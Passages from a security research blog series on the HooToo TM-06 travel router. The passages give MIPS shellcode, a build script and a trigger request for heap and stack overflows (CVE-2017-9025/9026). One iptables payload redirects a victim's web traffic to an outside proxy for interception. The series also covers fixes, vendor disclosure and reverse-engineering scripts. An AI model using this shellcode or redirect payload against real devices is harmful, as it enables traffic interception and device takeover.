  do_cmd = (int (*)(const char*)) (0x00410CD4);

  do_cmd("/etc/init.d/web restart");

  return 0;
}

The above code is the the main shellcode logic. You will notice that there is a do_cmd function. We coopt this function from the IOOS main binary. All it does is execute a shell command. This is perfect for our purposes. The command I’ve chosen to execute is the one that restarts the service. This is a very quick operation and leaves little trace. Basically, I was too lazy to construct a cleaner cleanup method. However, with a device such as this with such poor quality of security, I feel this is the appropriate level of effort and will not be caught by 99% of users. So, the shellcode will never actually return to the execution path that it interrupted.

After compilation, the shellcode binary looks something like this. You can clearly see the preamble with some NOP alignment and the compiled main function following that. We can see that at the beginning of the fuction, the $t9 register is expected to be pointing to the top of the main executable that starts at address 0x10.

Preamble:
ROM:00000000                 .text # ROM
ROM:00000000                 addi    $t9, 0x10
ROM:00000004                 sw      $t9, 0x3A8($t9)
ROM:00000008                 nop
ROM:0000000C                 nop
Main excutable:
ROM:00000010                 li      $gp, 0
ROM:00000018                 addu    $gp, $t9      // $t9
ROM:0000001C                 addiu   $sp, -0x28
ROM:00000020                 sw      $ra, 0x24($sp)
ROM:00000024                 sw      $fp, 0x20($sp)
...

The build script was a modification of the ShellcodeWrapper script written by Google’s ProjectZero [4]. It was made for ARM64, but with some modifications it was possible to get it to produce useful MIPS shellcode.

#!/bin/bash

PREFIX=/home/mike/mipsel/
PREFIX=${PREFIX}/bin/mipsel-unknown-linux-gnu-

#Compiling the main C code in a position-independant manner
${PREFIX}gcc -mabicalls -fpic -G 0 -fPIC -fPIE -O0 \ 
   -c main.c -o main.o
if [ $? -ne 0 ]; then
  echo "Failed to compile C shellcode"
  exit 1
fi

${PREFIX}objcopy -O binary main.elf main.bin
GPOFFSET=`${PREFIX}objdump -D -b binary -mmips shellcode.bin | \
    grep -F '(gp)' | sed 's/[,)(]/ /g' | awk '{print $5}' | \
    head -1`

echo "GPOFFSET = ${GPOFFSET}"

#Assembling the entry stub and converting it to a binary blob
${PREFIX}as --defsym GPOFFSET=${GPOFFSET} entry.S -o entry.elf
if [ $? -ne 0 ]; then
  echo "Failed to assemble complete assembly file"
  exit 1
fi
${PREFIX}objcopy -j .text -O binary entry.elf entry.bin
if [ $? -ne 0 ]; then
  echo "Failed to copy sections out of ELF file"
  exit 1
fi

#Using our special linker script to make sure the main 
#  function is at the beginning of the shellcode file
${PREFIX}ld -pie -T ld_script main.o -Map=map.txt -o main.elf

#Concatenating the two binary blobs to form our shellcode
cat entry.bin > shellcode.bin
cat main.bin >> shellcode.bin

#Copying the code into whatever output directory you need it in
cp shellcode.bin /path/to/your/shellcode/binary

Building the MIPS tool chain for cross compilations can be quite a chore, but with the resources below I got to the promise land, with Ubuntu, relatively quickly:

The attack

Now that we have arbitrary execution on the device and we know how to build the shellcode, the possibilities are limitless. We could build and install implants and/or reconfigure the device. I’ve decided to explore one option of reconfiguring the device by forcing it to reroute HTTP traffic via a malicious server.

int main() {
  do_cmd = (int (*)(const char*)) (0x00410CD4);

  do_cmd("iptables -t nat -A PREROUTING -p tcp -i br0 
            --src 192.168.1.3 --dport 80 -j DNAT 
            --to-destination 35.185.202.54:8800;
          /etc/init.d/web restart");

  return 0;
}

The device is a router that runs a version of Linux, so almost by definition we should be able to play with the iptables firewall rules. So, we install a rule that will NAT port 80 traffic from 192.168.1.3 client via a public proxy at 35.185.202.54:8800.

# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
DNAT       udp  --  anywhere             192.168.1.1    \
     udp dpt:domain to:75.75.75.75:53 
DNAT       tcp  --  192.168.1.3          anywhere       \
     tcp dpt:http to:35.185.202.54:8800 

On the proxy we run an instance of the MITM Proxy [6] with flags to forward any request to its intended destination. This will give us the ability to transparently observe or modify the user’s traffic. According to Google’s transperancy report [5], there are still quite a lot of major sites that do not use TLS by default. Just another example that one can never trust network infrastructure [7].

Conclusion

To review, we have taken a devices off the shelves. Explored its attack surface. Got a terminal where we could perform dynamic analysis with a debugger. Then, found vulnerabilities in the CGI webserver and exploited them. In this article we have seen one possible scenario how an attacker could start taking advantage of the vulnerabilities to change users’ traffic. The attacker could potentially use this vector to deploy browser exploits or collect sensitive user information.

References

[0] Exploit Routers on an Unrooted Android Phone

[1] Wave your false flags! Deception tactics muddying attribution in tergeted attacks

[2] Update Services Vulnerability Summary

[3] Reverse Engineering of an Embedded Webserver

[4] Attaching the shellcode wrapper.

[5] HTTPS on Top Sites

[6] mitmproxy

[7] Zero Trust Networks: Building Secure Systems in Untrusted Networks

HooToo TM6 vulnerabilities

Tue, 09 May 2017 00:00:00 +0000

Part 3: In the course of reverse engineering the HooToo TM-06 Travel router, there were two interesting vulnerabilities discovered. Both are in the IOOS (vshttpd) web service. This is not shocking because the web service appears to be a custom implementation specific to the device. That’s not to say the developers weren’t good, rather it is that custom code tends to be the one that receives the least scrutiny. One vulnerability is a stack overflow. Another, a heap overflow. In this article we’ll see how to fully exploit the heap buffer overflow vulnerability.

TL;DR

There is a partial ASLR implemented on the device: the dynamic libraries and the stack move around. So far as I could tell, there were no other significant protections. Both the heap and the stack are writable and executable.

We found two buffer overflows. One is stack based (sprintf), which allows us to overwrite the return address on the executable stack. We were not able to exploit that vulnerability because it requires an information leak. However, it comes with a great attack vector via an XSRF. The other vulnerability is a heap overflow (strcpy) where we are able to overwrite a function pointer on the heap. We then leverage the fact that the heap is predictable, and does not move around, to build a full exploit with arbitrary binary code execution. Finally, we look at proposals on how to fix these vulnerabilities.

Background

In this article we walk through vulnerabilities found in the webserver component of the HooToo Travel Mate 6 router. For background knowledge on the product and the various subcomponents please see the previous posts on Protecting the digital nomad (Part 1) and Reverse Engineering of an Embedded Webserver (Part 2).

Stack overflow

The HooToo HT-TM06 webserver suffers from a potentially exploitable stack overflow. We say potentially because the memory corruption mitigations, as enforced by the OS, prevent full exploitation. However, given that, historically, claims of non-exploitability have had the tendency of being wrong, I prefer to make it a soft claim. The webserver executes as a privileged process on the router, so an attacker could gain privileged code execution via this vulnerability. In addition to running as a root user on the device the process listens to both internal and external interfaces.

Technical Details:

CVE ID: CVE-2017-9026 Affected versions: HT-TM06 Firmware 2.000.030

This write up focuses on firmware 2.000.030 because at the time of analysis it was the latest version. However, due to the implementation style observed - abundance of sprintfs and other dangerous functions, it is believed that earlier versions will also be vulnerable as well.

Binary: /usr/sbin/ioos

ioos is a webserver responsible for handling the CGI content of the HT-TM06 web interface. Labeling itself vshttpd on HTTP responses, it responds to requests behind a lighttpd proxy. The function of ioos is to coordinate user sessions, authenticate users and reconfigure the system upon request. The webserver is configured to respond to *.csp requests such as GET /protocol.csp.

Upon closer analysis it was discovered that the ioos webserver has a stack overflow memory corruption vulnerability which can be triggered by an unauthenticated attacker. Most requests require an authentication token in the cookie to process, but the parameters abused by this vulnerability are processed before those checks are completed.

The trigger HTTP request looks as follows:

GET /protocol.csp?fname=[long string]&opt=userlock&username=guest&function=get HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Cache-Control: no-cache
If-Modified-Since: 0
Accept: */*
Referer: http://192.168.1.1/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,ru;q=0.6

Notice that the parameter fname contains a very long string - longer than 256 bytes. That is what causes the overflow condition. Normally this string is just a few bytes.

A response to this request (without triggering the memory corruption) looks like this:

HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 87
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=Xqo72sI1QVtjqoHZWUgOE9 BYbWRzLH7yWvF2PgTv4dPl;
Date: Tue, 24 Jan 2017 15:46:16 GMT

<?xml version="1.0" ?><root><[long string]><waninfo><errno>0</errno></waninfo></[long string]></root>

So, it becomes clear that the fname parameter is used to construct the XML response string. Looking at the disassembly we can see that the parameter value is used in the xml_add_elem function. This function appends a formatted string value to the response message string.

xml_add_elem:
.text:00512684 28 01 A2 27    addiu   $v0, $sp, 0x238+var_110  # Add Immediate Unsigned
.text:00512688 21 20 40 00    move    $a0, $v0         # s
.text:0051268C 38 80 85 8F    li      $a1, 0x540000    # Load Immediate
.text:00512690 00 00 00 00    nop
.text:00512694 E8 7A A5 24    addiu   $a1, (aS_19 - 0x540000)  # "</%s>"
.text:00512698 3C 02 A6 8F    lw      $a2, 0x238+element_name($sp)  # Load Word

.text:0051269C E0 87 99 8F    la      $t9, sprintf     # Load Address
.text:005126A0 00 00 00 00    nop
.text:005126A4 09 F8 20 03    jalr    $t9 ; sprintf    # Jump And Link Register
.text:005126A8 00 00 00 00    nop

In the disassembly above we can see that the destination string is a stack based buffer: $sp + (0x238+var_110). Since sprintf is used instead of snprintf, there is nothing to prevent the function from writing past the buffer boundary.

Exploitation

Why is this issue so serious? Because it gives an unauthenticated attacker the ability to control the Program Counter. How? By allowing the attacker to change the function return address that is stored on the program stack which used to direct execution at the end of the function execution.

As mentioned above the sprintf allows the attacker to write past the buffer boundary. On the stack, the buffer occupies 256 bytes:

(gdb) x/100wx $sp+0x128
0x7f8e1f78: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1f88: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1f98: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fa8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fb8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fe8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1ff8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2008: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2018: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2028: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2038: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2048: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2058: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2068: 0x00000000 0x00000000 0x00000000 0x00000000

0x7f8e2078: 0x00595ea8 0x00000001 0x0043bb04 0x0043b8d0

The destination buffer stops at 0x7f8e2078 and begins at 0x7f8e1f78 which the difference being 0x100 (256) as shown above. After the buffer, there are 8 bytes of local variables. The variables are followed by the saved return address ($ra register). This return address is used by the function before it returns. We can see the current value is 0x0043bb04 at location 0x7f8e2078 + 8.

After the sprintf call at location .text:005126A4, the same location on the stack looks like this:

(gdb) x/100wx $sp+0x128
0x7f8e1f78: 0x0f242f3c 0xe001fdff 0xe001272b 0x06282728
0x7f8e1f88: 0x0224ffff 0x01015710 0xa2af0c01 0xa48fffff
0x7f8e1f98: 0x0f24ffff 0xe001fdff 0xafaf2778 0x0e3ce0ff
0x7f8e1fa8: 0xce35697a 0xaeaf697a 0x0d3ce4ff 0xad35080a
0x7f8e1fb8: 0xadaf0892 0xa523e6ff 0x0c24e2ff 0x8001efff
0x7f8e1fc8: 0x02242730 0x01014a10 0x0f240c01 0xe001fdff
0x7f8e1fd8: 0xa48f2728 0x0224ffff 0x0101df0f 0xa52b0c01
0x7f8e1fe8: 0x0124ffff 0xa114ffff 0x0628fbff 0x0f3cffff
0x7f8e1ff8: 0xef352f2f 0xafaf6962 0x0e3cf4ff 0xce352f6e
0x7f8e2008: 0xaeaf6873 0xa0aff8ff 0xa427fcff 0x0528f4ff
0x7f8e2018: 0x0224ffff 0x0101ab0f 0x41410c01 0x41414141
0x7f8e2028: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2038: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2048: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2058: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2068: 0x41414141 0x41414141 0x41414141 0x41414141

0x7f8e2078: 0x41414141 0x41414141 0x3e5126d0 0x0043b8d0

The return address value has been changed to an attacker specified value which means that the program will jump to that address to continue execution resulting in a crash:

Program received signal SIGSEGV, Segmentation fault.
0x3e5126d0 in ?? ()

The crash is occurring because the location we send the Program Counter to does not contain any valid instructions. After non-exhaustive attempts at exploitation we found that the partial ASLR deployed on the device was enough to swart our attempts at exploiting this particular vulnerability. There are two constraints that we have to deal with:

Due to the use of the sprintf function, we cannot have NULLs in the buffer. Not an uncommon constraint.
Due to the use of the format string "</%s>", the last character of the buffer must be a greater than sign.

The following scenarios were considered:

Point the return address to some location is the main binary that would then jump to a buffer on the stack. The stack is executable (great!), however the program is located at a low address that starts with a zero. Due to the ending character in the format string, we cannot manage a zero character even though the architecture is little endian. Normally we’d be able to leverage the NULL that sprintf automatically places at the end of the C-String.
Point the return address to some location in the heap. The heap is executable (great!). We are able to get a buffer into the heap (great!). The heap is at a location just above the main binary which has locations that start with a zero.
Point the return address to some useful library instruction. I realize that the libraries actually move around between executions due to memory randomization.
Point the return address directly to our buffer on the stack. The stack is located in high memory and moves around along with the libraries.

# sysctl -A | grep kernel.randomize_va_space 2>/dev/null
kernel.randomize_va_space = 1

So, in order to exploit this we need to find a memory leak to get one of the last two scenarios to work. This is really unfortunate, we got thwarted by memory randomization and constraints on the format string.

Nonetheless, this vulnerability is particularly dangerous because, as you can see, it gets us really close to full exploitation. Also, if it works then it can be exploited without authentication and launched from the user’s web browser via a cross site request forgery attack. That is because the attack strings could be sent via a pure GET request. Such request can be embedded in some innocent looking page, an iframe or via an XSS attack of some unrelated website. In essence we would be able to exploit a user’s router through their browser - what a great attack vector!

The Fix

The bug is trivial to fix. First option is to just use snprintf instead of sprintf:

snprintf($sp+0x128, 256, “<%s>”, fname);

Alternatively, one can also enable the use of stack canaries and recompile the original code. The program will still be remotely crashable, depending on how exceptions are handled, but it should prevent the attacker from directly controlling the program counter.

Heap overflow

The HooToo HT-TM06 webserver suffers from an exploitable heap overflow vulnerability. The webserver executes as a privileged process on the router, so an attacker could again privileged code execution via this vulnerability.

Technical Details:

CVE ID: CVE-2017-9025 Affected versions: HT-TM06 Firmware 2.000.030

This write up focuses on firmware 2.000.030 because at the time of analysis it was the latest version. However, due to the implementation style observed, it is believed that earlier versions will also be vulnerable.

Binary: /usr/sbin/ioos

ioos is the webserver responsible for handling the CGI content of the HT-TM06 web interface. Labeling itself vshttpd on HTTP responses, the server responds to requests behind a lighttpd proxy. The function of ioos is to coordinate user sessions, authenticate users and reconfigure the system upon request. The webserver is configured to respond to *.csp requests such as GET /protocol.csp.

Upon closer analysis it was discovered that the ioos webserver has a heap overflow memory corruption vulnerability which can be triggered by an unauthenticated attacker.

The trigger HTTP request looks as follows:

GET /protocol.csp?fname=security&opt=userlock&username=guest&function=get HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Cache-Control: no-cache
If-Modified-Since: 0
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,ru;q=0.6
Cookie: [long string]

Notice that the cookie header contains a very long string - longer than 1024 bytes. That is what causes the overflow condition.

.text:00521BC4  lw      $v1, 0x40+cgi_tab($sp) # Load Word
.text:00521BC8  li      $v0, 0x16858           # Load Immediate
.text:00521BD0  addu    $v0, $v1, $v0          # Add Unsigned
.text:00521BD4  move    $a0, $v0               # dest
.text:00521BD8  lw      $a1, 0x40+src($sp)     # src

.text:00521BDC  la      $t9, strcpy            # Load Address
.text:00521BE0  nop
.text:00521BE4  jalr    $t9 ; strcpy           # Jump And Link Register

.text:00521BE8  nop
.text:00521BEC  lw      $gp, 0x40+var_28($sp)  # Load Word

The above code shows the call to strcpy which copies the user supplied data to an internal cgi_tab data structure. The data structure is allocated on the heap with the string buffer, at most, 1028 bytes long. After the string buffer other data follows, specifically function pointers. This is a common pattern with data structures used in ioos.

The strcpy call is unbounded and so the unauthenticated user can supply any sized string to be copied into a fixed destination buffer.

Exploitation

Why is this issue so serious? Because it gives an unauthenticated attacker control of the Program Counter. How? By allowing the attacker to change the function pointers following a string buffer on the heap. Doing so the attacker can change program flow and potentially execute malware.

As previously mentioned the strcpy will write past the destination buffer end. Let’s see what happens under the microscope. We will set a breakpoint before and after the offending strcpy call.

Breakpoint 1, 0x00521bdc in ?? ()
(gdb) display /10i $pc
1: x/10i $pc
=> 0x521bdc: lw t9,-28472(gp)
   0x521be0: nop
   0x521be4: jalr t9    # <- strcpy
   0x521be8: nop
   0x521bec: lw gp,24(sp)

Before the call, the parameters look like this:

(gdb) x/10wx $a0                                  <- strcpy dest
0x5ad328: 0x00000000 0x00000000 0x00000000 0x00000000
0x5ad338: 0x00000000 0x00000000 0x00000000 0x00000000
0x5ad348: 0x00000000 0x00000000
(gdb) x/10wx $a0+1000                             <- end of dest
0x5ad710: 0x00000000 0x00000000 0x00000000 0x00000000
0x5ad720: 0x00000000 0x00000000 0x00000000 0x0051b660
0x5ad730: 0x0051b810 0x0051b844 <- Saved return address
(gdb) x/10wx $a1                                  <- strcpy src
0x5ad943: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad953: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad963: 0x41414141 0x41414141
(gdb) x/10wx $a1+1000                             <- end of src
0x5add2b: 0x41414141 0x41414141 0x41414141 0x41414141
0x5add3b: 0x41414141 0x41414141 0x41414141 0x41414141
0x5add4b: 0x41414141 0x42ff4242

The snippet above shows the destination and the source buffers. The source being controlled by the attacker, we see that the attacker is ready to supply a new pointer value. Now, let’s breakpoint just after the strcpy call.

Breakpoint 2, 0x00521bec in ?? ()
1: x/10i $pc
=> 0x521bec: lw gp,24(sp)
   0x521bf0: b 0x521c08
   0x521bf4: nop

The end of the original destination buffer now looks like this:

(gdb) x/10wx $a0+1000
0x5ad710: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad720: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad730: 0x41414141 0x42ff4242

Notice that the addresses on the destination buffer match exactly and the pointer at 0x5ad730 + 4 has a new value 0x42ff4242 which is clearly invalid. If we let the program run we see that the program will use this address to look for instructions to execute:

Program received signal SIGBUS, Bus error.
0x42ff4242 in ?? ()
1: x/10i $pc
=> 0x42ff4242: <error: Cannot access memory at address 0x42ff4240>

Not good! The new pointer takes effect slightly further down the execution path from the strcpy overwrite:

.text:004136A4  addu    $v0, $v1, $v0         # Add Unsigned
.text:004136A8  lw      $t9, 0x6C64($v0)      # Load Word
.text:004136AC  lw      $a0, 0x28+var_C($sp)  # Load Word
.text:004136B0  jalr    $t9                   # <- gain PC control
.text:004136B4  nop
.text:004136B8  lw      $gp, 0x28+var_18($sp) # Load Word

The purpose of the above function is unknown but this is where the attacker gains control of the execution. This vulnerability is very much exploitable. What we notice is that the heap is allocated at low addresses and its structure is not randomized. This means that the heap allocations are at predictable addresses and the way that the server is implemented makes the malloc allocations predictable. It is probably due to the minimal implementation of the heap algorithms for the embedded system as well as the server’s single threaded model. So, we were able to insert a static address into our exploit buffer. Then we can point the program counter to our shellcode and take control of the device!

Unlike the stack overflow vulnerability, this one requires a more complex HTTP request. This means that the attack vector gets a little more complicated. However, since the device listens to all interfaces we can exploit the router directly from, say, a rogue WiFi router that it connects to.

Fix

The bug is trivial to fix. As a general rule strcpy is considered dangerous and should be avoided. Instead, use strncpy which accepts the size of the destination buffer as a parameter which would prevent such overwrites.

As an additional measure of protection, the function pointers on the heap should be XORed with an execution specific random integer. This way an attacker would not be able to overwrite them with useful values thereby preventing exploitation attempts even in the presence of overflow conditions.

Reporting to the vendor

The vulnerabilities were reported to the vendor on January 24, 2017 (stack overflow) and January 21, 2017 (heap overflow). The company quickly acknowledged their receipt and provided a new build with a patch on February 19, 2017. I found it interesting that HooToo has provided the update to me personally rather than making it generally available. Their download page was later updated on March 7, 2017. It is very important to take such vulnerabilities seriously and make patches generally available as quickly as possible.

Upon examining the change log, I only saw this line:

fix the bug caused by fname protocol

Conclusion

There are many reasons why an attacker might want to exploit these devices. One obvious reason is to gain access to the user’s information or manipulate user activity. Having malware on the router means that the attacker could potentially see unencrypted traffic, modify their DNS lookups to enable man-in-the-middle attacks or inject malicious content into traffic. For example, have the ability to inject iframes for browser exploitation or catch vulnerable update mechanisms [2].

Other reasons for leveraging the vulnerabilities in the travel routers are a bit more indirect. One is to obfuscate attack sources and make attribution harder by creating a jump point [1]. Another is to use the router to infect other systems. A person using the travel router would likely be traveling a lot and touching many different networks from a position of some trust. These networks could include hotels, airbnb’s, private residences, cafes and enterprises. And so, having malware on the device would give an attacker a foothold inside another network.

Both of the aforementioned vulnerabilities are web based and require the attacker to have direct access via an IP address. The easiest way is via a user connected to the WiFi created by the device. However, another way is to go from the outside network. That is because the webserver doesn’t just listen on the internal network, it listens on all interfaces. And so, if an AirBnB network has been compromised then an attacker could discover the router as the client on the WiFi and launch attacks from there. There is already an example of malware for Android caught in the wild attacking host WiFi routers [3].

The stack overflow vulnerability presents another interesting opportunity for the attacker because it doesn’t require the attacker to be on the network along side the device. It has been previously reported [4] that the device is vulnerable to Cross Site Request Forgery attacks. Since the overflow is in processing of a GET request field, it means that the attacker just needs a user to open a page with a forged request to gain execution on the router. Now, that is an awesome attack vector!

References

[1] WAVE YOUR FALSE FLAGS! DECEPTION TACTICS MUDDYING ATTRIBUTION IN TARGETED ATTACKS.

[2] Update Services Vulnerability Summary

[3] Switcher: Android joins the ‘attack-the-router’ club

Reverse Engineering of an Embedded Webserver

Mon, 10 Apr 2017 00:00:00 +0000

Part 2: In this article we look into the implementation of the embedded webserver that runs on the HooToo Travel Mate 6 router (the device). The webserver is at the core of the TM-06 user interface. It is also the best attack surface to start with. It is best due to the complexity of processing web requests and a historical precedent of web software being susceptible to memory corruption vulnerabilities.

Locating the webserver

Looking at the HTTP traffic we see that there are two webservers at play. First is the lighttpd/1.4.28 and another is the vshttpd. Different server values are returned even though same IP/port combinations are used. Clearly there is some sort of proxying set up. So, let’s go looking for these servers.

lighttpd is a commonly used webserver for embedded and other small scale systems. It even comes with its own set of vulnerabilities. However, vshttpd seems to be an unknown entity - at least, to a westerner. After much googling, I have not found any source code. The only things that were found are an empty sourceforge project and an attempt to have an http interface for vsftp. So, I have to assume that this was an in-house type of project which means that binary reverse engineering is a must.

Using shodan I’ve been able to find a few instances around East Asia. However, there are only a few and they come and go.

DATA SAVER
[IP REDACTED]
[IP REDACTED].ap.yournet.ne.jp
FreeBit Co.,Ltd.
Added on 2017-04-30 06:18:54 GMT
Japan

Details 
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 8338
Content-type: text/html
Set-cookie: SESSID=DhvFlqSu36MgAzB5tfMOAMeq2VSwY4Itlf1xxSSqYvFw3;
Date: Sun, 30 Apr 2017 06:18:51 GMT

Going to that IP, we can see the login page:

Based on the requests generated by the login page, we can see that it is, indeed, using the same webserver as our TM-06 router:

Request URL:http://[IP REDACTED]/protocol.csp?fname=system&opt=web_lang_list&function=get
Request Method:GET
Status Code:200 OK
Remote Address:[IP REDACTED]:80

So, potentially, vshttpd is some private web server implementation that has been resold by the same contractor to various device manufacturers. This is exciting because the findings we make will be applicable to a number of devices. I’ve masked the target IPs for their safety, but if you so wish to find them again just have a look at Shodan.

Finding the binary

Scanning through /etc/init.d directory, we find that fileserv.sh has references /etc/fileserv/lighttpd.conf. That’s cool, it means that /usr/sbin/fileserv is the lighttpd server we are looking for. The binary is referenced by the same shell script. Scanning further, we find an /etc/init.d/web file which has references to the /usr/sbin/ioos file. Based on the name and the process of elimination let’s decide that this is our other webserver which calls itself vshttpd. This will be confirmed by reverse engineering.

$ strings /usr/sbin/ioos | grep vshttpd
Server: vshttpd

$ strings /usr/sbin/fileserv | grep light
Server: lighttpd/1.4.28

We get some good confirmation using strings. The file command gives us some good information on what to expect.

/usr/sbin/fileserv: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), 
                    dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
/usr/sbin/ioos:     ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), 
                    dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

MIPS Overview

The device runs a version of a MIPS processor. The instruction set is documented here: MIPS32 24K. It is a relatively simple architecture with a small instruction set. I would encourage everyone to learn it because it is prevalent in the embedded devices world, and MIPS is a great starting point to learn about assembly.

By convention there’s a stack at a high address, similar to that of the x86 systems. On the TM-06 the stack actually moves around due to the memory randomization anti-exploitation measure. The stack is managed by the compiler where it will add/subtract from the $sp register on function return/calls. The $sp register stores the current stack pointer. A function preamble would look something like this:

	li      $gp, 0x18424C          # Load Immediate
	addu    $gp, $t9               # Add Unsigned
	addiu   $sp, -0x38             # Add Immediate Unsigned
	sw      $ra, 0x38+var_4($sp)   # Store Word
	sw      $s0, 0x38+var_8($sp)   # Store Word
	sw      $gp, 0x38+var_20($sp)  # Store Word
	sw      $a0, 0x38+arg_0($sp)   # Store Word

There’s a global pointer $gp for every function - however, in code compiled by the device developers, the global point does not appear to be used for anything of significance. $t9 is a register used for function calls. Commonly, an address would be loaded into $t9 and the program will branch using that register. The $ra register is used for storing the return address. This is why in the preamble we see it being saved on the stack, so the function knows where to go once it is done.

	sw      $zero, 0xC($v0)       # Store Word
	lw      $ra, 0x38+var_4($sp)  # Load Word
	lw      $s0, 0x38+var_8($sp)  # Load Word
	addiu   $sp, 0x38             # Add Immediate Unsigned
	jr      $ra                   # Jump Register
	nop

The above function epilog shows how the return address is used to return the control back to the caller function. The arguments are stored in registers $a0 to $a4 and usually they are stored on the stack before the function does any actual logic. Certain registers such as the $s0 are preserved by the callee.

Finally, MIPS is a pipelined architecture where the developer needs to be aware of its semantics. This is specifically important for branching instructions because the instruction after the branch will start execution before the branching actually finishes. Now, the code we will be looking at is not built by an optimizing compiler and so, branching instructions, such as the jr $ra above, will always have a nop following.

I’ve never, until now, reversed MIPS and from personal experience can say that it is a very easy architecture to get a hang of. So, if this is a your first time then just take one step at a time and try to follow through with the examples in this article. You will get used to the architecture and things will become exponentially easier!

Extracting the source

Compilers are really smart tools, but in the end they are just a transformation function of the source code. So, if the source code has certain patterns then it may be possible to detect and use them to learn about the binary code. In the case of the webserver from the device, the compiler does not perform a lot of optimizations and so we are able to extract quite a lot of information. Next sections will focus on some of the more obvious patterns that I’ve been able to use for my advantage. Going through these examples is useful to learn about the reverse engineering process as well as how to use various IDA interfaces.

Finding functions

While perusing the assembly code, I’ve started noticing a simple pattern for error handling recurring over and over. There would be some sort of a check and if the check failed then an error message would be generated. The message is then printed out to the STDERR stream. The assembly looks something like this:

addiu   $a0, (aHomeProduct_30 - 0x550000)  # "/home/product/mk_wdisk_7620/UIS-V3.0/li"...
...
addiu   $a1, (aSSDMtdUnlock_0 - 0x550000)  # "(%s,%s,%d)\nMTD Unlock failure\n"
...
addiu   $a3, (aFlash_non_regi - 0x550000)  # "flash_non_region_erase"
la      $t9, fprintf     # Load Address

There would be a string showing which function failed, something to describe the error (often exposing local compiled out variable names) and the file location of the function. Great information! We could use this to deduce names of functions before the compiler stripped them out.

There are so many of these error handling blocks that we can’t reasonably go through all of them by hand. So, I want to automate the process of mapping the function names from the error messages to the IDAPro disassembly database. To that end, I wrote a couple of IDAPython functions to help me out. These functions will be specific to the MIPS disassembly that I saw in this webserver. However, the logic is probably applicable to other applications as well.

Let’s dive in. First thing I notice is that the function responsible for error reporting uses fprintf this means that the strings I’m seeing are placed into the argument registers. The function below follows that pattern and abuses specifics of the IDA output syntax to extract the information.

def findPrintfStrings(addr):
 ret = {'file': ''}

 # find the function name, listing printf args
 for a in range(addr - 10*4, addr, 4):
   disasm = GetDisasm(a)
   if(disasm[0:4] == "addi" and GetOpnd(a, 0)[0:2] == '$a'):
     ret[GetOpnd(a, 0)] = disasm.split('#')[1].strip()

 # find the source code file
 for a in range(addr - 30*4, addr, 4):
   disasm = GetDisasm(a)
   if(disasm[0:4] == "addi" and GetOpnd(a, 0) == '$a0' and disasm.split('#')[1][0:7] == ' "/home'):
     ret['file'] = GetString(GetOperandValue(a, 1) + 0x540000, -1, ASCSTR_C)

 return ret

Given an address of a call to fprintf the function will trace back several instructions and find all strings that are stored in the arguments. Noticing that the function name is located in the first variable argument to fprintf, I don’t need to worry about the arguments placed placed on the stack. The first loop looks at the addi instructions that refer to the $a0 - $a4 registers. These are the instructions that set the arguments. The second loop looks for references to strings that start with /home since that is where the source code was, apparently, compiled. Together we get a nice picture of what the error message looks like. We can see the name of the current function and its file location. For the assembly shown above, this is the output we get:

Python>findPrintfStrings(ScreenEA())
{'$a1': '"(%s,%s,%d)\\nMTD Unlock failure\\n"', 
 'file': '/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c', 
 '$a3': '"flash_non_region_erase"'}

OK, given that we can find information about a function with one error message, how we do we find all of them and do the mapping? I like to take an iterative approach by refining the information at hand with each step. This way there’s more space for tweaking and adjusting for accuracy depending on our needs. So, the function below will first look for all uses of fprintf.

def findFuncNames():
 ret = []
 for i in XrefsTo(LocByName("fprintf")):
   if(GetDisasm(i.frm)[0:2] == "la"):
     args = findPrintfStrings(i.frm)

     # filter by error message pattern
     if(args["$a1"][0:5] == '"(%s,'):
       func = idaapi.get_func(i.frm)
       name = "no_func"

       # sometimes functions aren't recognized by IDA
       if(func is not None):
         name = GetFunctionName(func.startEA)

       ret.append( (hex(i.frm), name, args["$a3"].replace('"', ''), args['file'] ) )

 return ret

Once an fprintf is located, the script will look for la (load address) instructions. That is where the address for the function is loaded before bing used. I chose the la vs the jalr instruction as a means of reducing the number of instructions I have to consider. Then we call the findPrintfStrings function from earlier to extract the strings. Once the strings are extracted we can filter on a common filter for all error messages. We notice that, first, the error specifies the context before moving on to other information. So, we look for "(%s, to remove irrelevant fprintf occurrences.

Finally, using the IDA api we look up the function address that contains the error message and add that to the list. The final output looks something like this:

